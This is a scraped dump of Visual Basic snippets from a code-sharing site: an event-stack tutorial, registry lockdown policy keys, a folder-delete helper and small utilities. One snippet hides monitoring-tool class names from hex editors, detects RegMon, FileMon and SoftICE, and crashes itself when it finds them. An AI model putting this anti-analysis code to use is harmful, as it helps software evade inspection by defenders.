Sub<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error Goto <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>err_EmptyArray<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count =<span\nstyle='color:navy'> UBound(a_EventStack)<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á On Error Goto <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>0<u1:p></u1:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á ┬á<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry =<span\nstyle='color:navy'> True<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\";color:green'>'.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á'.<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'At this point, we\ncan execute some <o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'code to process\na_EventStack(0), since it is<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'the oldest event in\nthe stack. <u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á '.<u1:p></u1:p><span\nstyle='color:green'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á 'Remove the oldest\nevent.\n \nb_LockStackProcessing = True<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á ┬á<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á If <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>l_Count = 0<span\nstyle='color:navy'> Then<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á\nErase a_EventStack<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á Else<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á For <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>i = 0<span\nstyle='color:navy'> To l_Count - 1<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>a_EventStack(i) =\na_EventStack(i + 1)<u1:p></u1:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á Next<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á┬á┬á┬á\nRedim Preserve a_EventStack(l_Count + 1)<u1:p></u1:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á End If<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n<span\nstyle=\"mso-spacerun: yes\">┬á┬á┬á┬á┬á┬á b_LockStackProcessing =<span\nstyle='color:navy'> False<u1:p></u1:p><o:p></o:p>\n┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á err_EmptyArray:<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle='mso-bidi-font-size:10.0pt;font-family:\"Courier New\"'>b_Reentry =<span\nstyle='color:navy'> False<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á┬á┬á┬á <span\nstyle=\"mso-spacerun: yes\">┬á<u1:p></u1:p><o:p></o:p>\n┬á┬á┬á End Sub<u1:p></u1:p><span\nstyle='color:navy'><o:p></o:p>\n┬á┬á┬á \nAs you can see, we implement reentrancy protection on this\nprocedure with the b_Reentry variable, since the timer might tick ten\ntimes before we finish processing the event stack, and we don't want to process\nevents out of turn. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<u1:p></u1:p>In addition to the standard reentrancy\nprotection, I've also added a global stack protection variable b_LockStackProcessing.\nI use this so that no events can be added to stack while I'm resizing it. Since\nthe server component is running asynchronously to the application, it is\npossible (though unlikely) to receive server events while resizing the stack. I\ndon't mind receiving events while I'm processing the stack, but I don't want to\noverwrite existing events while I'm resizing, so I lock the stack. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn this particular example, I only process one event off\nthe stack every time the timer ticks. Obviously if you plan on receiving more\nthan one event between timer ticks, you may want to process the entire stack\nevery time the timer ticks. Also, since the stack is an array, it takes some\ntime to shuffle all the events up one slot. You may want to implement a\ncollection instead, which, though it takes more memory and resources to handle,\ncan allow you to remove the event from the stack with one line of code.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNote: Another possible improvement on the code\nhere, which I leave you to implement, is a flexible timer. Every couple of\ntimes you process the stack, you check to see if there are a large number of\nevents in the stack. If there are, you decrease the timer interval. If there\nare very few events in the stack, you increase the timer interval. This means\nthat when the server is flipping out and flooding you with events, your app can\ndevote more time to handling those events, and when the server component is\ntwiddling its thumbs, your app can devote more processing time to other tasks.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h2>That's it?</h2>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThat's all she wrote, boys and girls. See how easy that\nwas? While an event stack may not be necessary for small client-server\napplications, it sure can save your bacon if you're deploying on an\nEnterprise-wide scale. It can also be of enormous value if you want to dispatch\nevents asynchronously, just for the heck of it. Best of all, this technique can\nbe used in reverse, within your ActiveX server components, as a method stack,\nprocessing method calls asynchronously so that the server component interface\nis always available to clients.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nNow go forth and multiply. Asynchronously.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nPhilippe DesRosiers\ne: philippe_desrosiers@karat.com<o:p></o:p>\n</div>\n<u1:p></u1:p>\n</body>\n</html>\n"},{"WorldId":1,"id":9810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10399,"LineNumber":1,"line":"\nPublic Sub DelTree(ByVal vDir As Variant) \nDim FSO, FS\nSet FSO = CreateObject(\"Scripting.FileSystemObject\") \nFS = FSO.deletefolder(vDir, True)\nEnd Sub"},{"WorldId":1,"id":8552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10000,"LineNumber":1,"line":"Public Sub HackerScan()\nDim hFile As Long, retVal As Long\nDim sRegMonClass As String, sFileMonClass As String\n'\\\\We break up the class names to avoid detection in a hex editor\nsRegMonClass = \"R\" & \"e\" & \"g\" & \"m\" & \"o\" & \"n\" & \"C\" & \"l\" & \"a\" & \"s\" & \"s\"\nsFileMonClass = \"F\" & \"i\" & \"l\" & \"e\" & \"M\" & \"o\" & \"n\" & \"C\" & \"l\" & \"a\" & \"s\" & \"s\"\n'\\\\See if RegMon or FileMon are running\nSelect Case True\n Case FindWindow(sRegMonClass, vbNullString) <> 0\n 'Regmon is running...throw an access violation\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\n Case FindWindow(sFileMonClass, vbNullString) <> 0\n 'FileMon is running...throw an access violation\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\nEnd Select\n'\\\\So far so good...check for SoftICE in memory\nhFile = CreateFile(\"\\\\.\\SICE\", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)\nIf hFile <> -1 Then\n ' SoftICE is detected.\n retVal = CloseHandle(hFile) ' Close the file handle\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\nElse\n ' SoftICE is not found for windows 9x, check for NT.\n hFile = CreateFile(\"\\\\.\\NTICE\", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)\n If hFile <> -1 Then\n ' SoftICE is detected.\n retVal = CloseHandle(hFile) ' Close the file handle\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\n End If\nEnd If\nEnd Sub"},{"WorldId":1,"id":9146,"LineNumber":1,"line":"the Tutorial is in a zip file\n \nif you like my Tutorial and if you think i \ndeserve some credit, vote for me.\n"},{"WorldId":1,"id":9558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10294,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8686,"LineNumber":1,"line":"\nOptions and Their Locations\n\nWritten By John Hall\n\n \n\nDisable Changing Wallpaper – Win98/2000 Only (Active\nDesktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoChangingWallPaper\n\nData Type : DWORD = 00000001\n \n\nDisable Active Desktop Changes (All Components) –\nWin98/2000 Only (Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoActiveDesktopChanges\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Icons\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop\n\nData Type : DWORD = 00000001\n \n\nDisable Active Desktop – Win98/2000 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoActiveDesktop\n\nData Type : DWORD = 00000001\n\n \n\nDisable HTML Wallpaper – Win98/2000 Only (Active Desktop\nEnabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoHTMLWallPaper\n\nData Type : DWORD = 00000001\n \n\nDisable Closing Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoClosingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Deleting Active Desktop Components – Win98/2000\nOnly (Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoDeletingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Editing Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoEditingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoAddingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Internet Icon\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoInternetIcon\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Network Neighborhood Icon\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoNetHood\n\nData Type : DWORD = 00000001\n \n\nDisable Disk Drive Autorun\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDriveTypeAutoRun\n\nData Type : DWORD = b5000000\n \n\nDisable Environment Appearance Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispAppearancePage\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Background Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispBackgroundPage\n\nData Type : DWORD = 00000001\n \n\nDisable Display Icon from Control Panel\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispCPL\n\nData Type : DWORD = 00000001\n \n\nDisable Screen Saver Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispScrSavPage\n\nData Type : DWORD = 00000001\n \n\nDisable Screen Settings Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispSettingsPage\n\nData Type : DWORD = 00000001\n \n\nDisable All But Selected Applications from Running\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RestrictRun\n\nData Type : DWORD = 00000001\n\nNOTE : Add the selected applications in a key of Explorer\nnamed RestrictRun. Add the applications like below:\n \n<blockquote>\n <blockquote>\n StringValue Name : "1" – Data : "mspaint.exe"\n \n </blockquote>\n</blockquote>\n\nDisable Start Menu Shut Down Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoClose\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Log Off Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoLogoff\n\nData Type : DWORD = 00000001\n\nDisable Start Menu Find Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFind\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Documents Menu\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoRecentDocsMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Favorites Menu\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFavoritesMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Folder Options\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFolderOptions\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Update\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoDesktopUpdate\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Active Desktop Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetActiveDesktop\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Folder Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetFolders\n\nData Type : DWORD = 00000001\n\n \n\nDisable Settings Menu Taskbar Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetTaskbar\n\nData Type : DWORD = 00000001\n \n\nDisable Saving Changed Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSaveSettings\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click on the Taskbar\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoTrayContextMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click on the Desktop\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoViewContextMenu\n\nData Type : DWORD = 00000001\n\nDisable Closing Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserClose\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserContextMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Options in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserOptions\n\nData Type : DWORD = 00000001\n \n\nDisable Saving Pages in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserSaveAs\n\nData Type : DWORD = 00000001\n \n\nDisable Favorites in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable File Menu New Object in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFileNew\n\nData Type : DWORD = 00000001\n \n\nDisable File Menu Open Object in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFileOpen\n\nData Type : DWORD = 00000001\n \n\nDisable Finding Files in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFindFiles\n\nData Type : DWORD = 00000001\n \n\nDisable Opening Files in New Window from Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoOpenInNewWnd\n\nData Type : DWORD = 00000001\n \n\nDisable Selectable Download Directory in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoSelectDownloadDir\n\nData Type : DWORD = 00000001\n \n\nDisable Viewing in Theater Mode from Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoTheaterMode\n\nData Type : DWORD = 00000001\n\nDisable Viewing Source in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoViewSource\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Channels in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoAddingChannels\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Subscriptions in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoAddingSubscriptions\n\nData Type : DWORD = 00000001\n \n\nDisable Removing Channels in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoRemovingChannels\n\nData Type : DWORD = 00000001\n \n\nDisable Removing Subscriptions in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoRemovingSubscriptions\n\nData Type : DWORD = 00000001\n \n\nDisable Search Customization in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoSearchCustomization\n\nData Type : DWORD = 00000001\n \n\nDisable Running the Connection Wizard – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Control Panel\\Connwiz\nAdmin Lock\n\nData Type : DWORD = 00000001\n \n\nDisable Importing or Exporting Favorites in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\DisableImportExportFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable Using the Microsoft Script Debugger in Web Browser\n– Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Disable\nScript Debugger\n\nData Type : String = "yes"\n \n\nDisable Using AutoComplete Forms in Web Browser – Internet\nExplorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Use\nFormSuggest\n\nData Type : String = "no"\n \n\nDisable Using AutoComplete Password in Web Browser –\nInternet Explorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\FormSuggest\nPasswords\n\nData Type : String = "no"\n \n\nDisable Download Notification in Web Browser – Internet\nExplorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\NotifyDownloadComplete\n\nData Type : String = "no"\n \n\nDisable Error Notification in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Err\nDlg Displayed On Every Error\n\nData Type : String = "no"\n \n\nDisable Go Button in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\ShowGoButton\n\nData Type : String = "no"\n \n\nDisable Using a Custom Search Page in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Use\nCustom Search URL\n\nData Type : DWORD = 00000000\n \n\nUse Custom Title for Web Browser Windows – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window\nTitle\n\nData Type : String = "{Your Custom Text}"\n \n\nDisable Finding New Station in Media Play – Windows Media\nPlayer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoFindNewStations\n\nData Type : DWORD = 00000001\n \n\nDisable Media Favorites from Media Player – Windows Media\nPlayer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoMediaFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable Radio Bar for Media Player – Windows Media Player\n& Internet Explorer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoRadioBar\n\nData Type : DWORD = 00000001\n \n\nDisable Installation of ISP Distribution Kit for Microsoft\nInternet Explorer – Internet Explorer 5.0 Only\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Connection\nWizard\\CanInstallISPKit5\n\nData Type : String = "no"\n \n\nDisable Media Player Upgrade Message – Windows Media Player\nOnly\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\MediaPlayer\\PlayerUpgrade\\AskMeAgain\n\nData Type : String = "no"\n \n\nDisable Microsoft Office Tune Up – Microsoft Office 2000\nOnly\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office\\9.0\\Common\\TuneUp\\Disabled\n\nData Type : DWORD = 00000001\n \n\nDisable AutoComplete in Explorer – Win98/2000 Only\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\AutoComplete\\Use\nAutoComplete\n\nData Type : String = "no"\n"},{"WorldId":1,"id":9415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8785,"LineNumber":1,"line":"'***************************************************************\n'*Feel Free to use this souce whenever. *\n'* *\n'*Author: ToddSoft *\n'*Subject: Set Cursor Position and Get Cursor Position * *\n'*Date: 6-9-200 *\n'* *\n'*Hey, Check out this site: www.ToddSoft.com *\n'* *\n'***************************************************************\n\n\n\nin a module:\n'This API call is for the SetCursorPos\nDeclare Function SetCursorPos Lib \"user32\" (ByVal x As Long, ByVal y As Long) As Long\n'************************************************************************************\nGeneral Declerations\n'Api call for the GetCursorPos function\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\n'This is the data type\nPrivate Type POINTAPI\n x As Long 'x coordinate of the mouse\n y As Long 'y coordinate of the mouse\nEnd Type\nDim pp As POINTAPI\n\n\nPrivate Sub Command1_Click()\nSetCursorPos Form1.Left / 15, Form1.Top / 15\n'You have to divide the form by 15 because the position you set it to is applied\n'to the screen and not the form. By clicking on the button it moves the mouse\n'directly up to the top left part of the form\nCommand1.Caption = \"Click Me\"\nEnd Sub\nPrivate Sub Form_Load()\nMsgBox \"Please visit www.ToddSoft.com\", vbOKOnly, \"ToddSoft\"\n\nEnd Sub\nPrivate Sub Timer1_Timer()\n'Note that if x = 0 and y = 0 that is the top left part of the monitor screen_\n'Not the form\n\n'This calls the GetCursorPos Function to get the x and y positions of the mouse\nGetCursorPos pp\n'This is displaying the x and y coordinates of the mouse\nLabel1.Caption = \"X: \" & pp.x & \" Y: \" & pp.y\nEnd Sub\n"},{"WorldId":1,"id":8730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9895,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8752,"LineNumber":1,"line":"After navigating to the desired webpage, execute the following line: \nmyTextBox.Text = myWebBrowser.Document.documentElement.innerHTML\n"},{"WorldId":1,"id":8800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9442,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9692,"LineNumber":1,"line":"Public Function DecimalToBinary(sValue As String) As String\nDim i As Integer\nConst sTable As String = \"0000,0001,0010,0011,0100,0101,0110,0111,1000,1001,1010,1011,1100,1101,1110,1111\"\nDim asBinTable() As String\nDim sHexValue As String\n If Len(sValue) > 9 Then\n ' the HEX Function cannot handle larger numbers\n Exit Function\n End If\n DecimalToBinary = \"\"\n \n ' Set up the Binary Table\n asBinTable = Split(sTable, \",\")\n sHexValue = Hex(Val(sValue))\n \n For i = 1 To Len(sHexValue)\n DecimalToBinary = DecimalToBinary & asBinTable(Val(\"&H\" & Mid$(sHexValue, i, 1)))\n Next\n \nEnd Function\nPublic Function BinaryToDecimal(sBinary As String) As String\nDim i As Integer\n BinaryToDecimal = 0\n If Len(sBinary) > 49 Then\n ' Binary numbers larger than 49 bits\n ' Will return an Error E+\n Exit Function\n End If\n For i = 0 To Len(sBinary) - 1\n If Mid$(sBinary, Len(sBinary) - i, 1) Then\n BinaryToDecimal = BinaryToDecimal + 2 ^ i\n End If\n Next\nEnd Function"},{"WorldId":1,"id":9690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8780,"LineNumber":1,"line":"Public Sub AddData(DataFrom As String, DataTo As String)\nDim dbFrom, dbTo As Database\nDim rsFrom, rsTo As Recordset\nSet dbFrom = OpenDatabase(DataFrom)\nSet dbTo = OpenDatabase(DataTo)\nFor n = 0 To dbFrom.TableDefs.Count - 1\n 'This search out on table in your database\n If dbFrom.TableDefs(n).Attributes = 0 Then\n Set rsFrom = dbFrom.OpenRecordset(dbFrom.TableDefs(n).Name)\n Set rsTo = dbTo.OpenRecordset(dbTo.TableDefs(n).Name)\n End If\n \n 'Loops through all fields in table and copies from dbFrom to dbTo.\n Do Until rsFrom.EOF\n rsTo.AddNew\n For i = 1 To rsTo.Fields.Count - 1\n If rsFrom.Fields(i) = \"\" Then GoTo hell\n rsTo.Fields(i) = rsFrom.Fields(i)\nhell:\n Next i\n \n 'This updates and moves to the next record in the from database\n rsTo.Update\n rsFrom.MoveNext\n Loop\nNext n\ndbFrom.Close\ndbTo.Close\nEnd 